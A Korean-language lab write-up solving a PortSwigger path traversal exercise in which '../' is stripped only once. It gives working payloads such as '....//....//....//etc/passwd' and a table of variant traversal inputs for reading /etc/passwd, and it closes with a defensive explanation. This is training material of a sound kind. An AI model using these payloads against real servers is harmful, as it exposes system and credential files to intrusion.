[Write-Up] PortSwigger - File Path Traversal, Traversal Sequences Stripped Non-Recursively
목차
문제 분석
난이도:
PRACTITIONER
Lab: File path traversal, traversal sequences stripped non-recursively
상품 이미지 표시 기능에 path traversal 취약점이 존재한다. 애플리케이션이 사용자가 제공한 파일명을 사용하기 전에 경로 이탈 시퀀스를 제거한다. /etc/passwd 파일의 내용을 가져오면 문제가 해결된다.
Path Traversal 진단
이미지 요청 형태를 확인한다.
GET /image?filename=12.jpg HTTP/2
Host: <lab-id>.web-security-academy.net
경로 이탈을 시도하기 전에 필터가 차단하는 방식인지 제거하는 방식인지부터 구분해야 한다. 두 방식은 우회 방향이 완전히 달라지므로, 반드시 존재하는 파일에 무해한 접두를 붙여 응답 차이를 본다.
GET /image?filename=../12.jpg HTTP/2
이 요청에 12.jpg가 정상적으로 반환된다. 관찰 결과를 해석하면 다음과 같다.
| 관찰된 응답 | 필터 방식 | 의미 |
|---|---|---|
| 오류·거부 응답 | 차단(reject) | 입력에 시퀀스가 있으면 요청 자체를 거부 |
| 원래 파일이 그대로 반환 | 제거(sanitize) | ../만 지워지고 나머지 입력은 그대로 사용 |
../12.jpg가 12.jpg로 처리되었으므로 필터는 제거 방식이다. 그리고 제거 방식에서 다음으로 확인할 것은 그 제거가 한 번만 수행되는지, 남은 결과에 대해 반복되는지다. 한 번만 수행된다면 제거 후에 다시 ../가 되도록 입력을 구성할 수 있다.
....// → 가운데 ../ 제거 → ../
익스플로잇
....//를 경로 이탈 단위로 사용해 페이로드를 구성한다.
GET /image?filename=....//....//....//etc/passwd HTTP/2
Host: <lab-id>.web-security-academy.net
필터를 통과한 뒤 실제로 열리는 경로는 다음과 같다.
....//....//....//etc/passwd → ../../../etc/passwd → /etc/passwd
요청을 전송하면 응답 본문에 /etc/passwd의 내용이 포함되며 문제가 해결된다.

같은 원리로 만들 수 있는 변형은 여러 가지다. 제거 대상이 ../인지 ..인지, 구분자로 역슬래시도 허용되는지에 따라 통하는 형태가 달라지므로 한 번에 하나씩 확인한다.
| 입력 | 제거 대상 | 제거 후 |
|---|---|---|
....// | ../ | ../ |
..././ | ./ | ../ |
....\/ | ..\ | ../ |
....\\ | ..\ | ..\ |
정리
이 랩의 핵심은 차단과 제거는 다르다는 점이다. 차단은 위험한 입력을 만나면 처리를 중단하지만, 제거는 위험한 입력을 안전한 입력으로 바꿀 수 있다고 전제한다. 문제는 치환이라는 연산 자체가 새로운 문자열을 만들어낸다는 데 있다. ....//에서 가운데 ../를 지우면 남은 문자들이 붙으면서 지워야 했던 바로 그 패턴이 다시 생성된다. 검사한 대상과 사용하는 대상이 달라지는 것이다.
그래서 진단에서는 필터의 방식을 먼저 확정하는 것이 중요하다. 존재하는 파일에 ../를 붙였을 때 오류가 나면 차단이므로 인코딩이나 절대경로처럼 패턴을 피하는 방향으로 가야 하고, 파일이 정상 반환되면 제거이므로 제거 결과를 이용하는 방향으로 가야 한다. 이 구분 없이 페이로드부터 던지면 어느 쪽이 막혔는지 알 수 없는 실패만 쌓인다.
그렇다면 제거를 재귀적으로 반복하면 해결되는가 하면 그렇지도 않다. 반복 치환은 결과가 수렴할 때까지 도는 구조라 입력 길이에 따라 비용이 커지고, 그 자체가 별도의 자원 소모 지점이 된다. 무엇보다 이 방식은 여전히 “위험한 문자열을 열거해 지운다"는 차단 목록의 사고방식에 머물러 있어, 다음 랩에서 볼 인코딩 계열 우회에는 아무 대응이 되지 않는다. 방어는 입력을 고쳐 쓰려 하지 말고 그대로 거부하거나, 조립이 끝난 경로를 정규화한 뒤 기준 디렉터리 하위인지 확인하는 쪽으로 가야 한다.
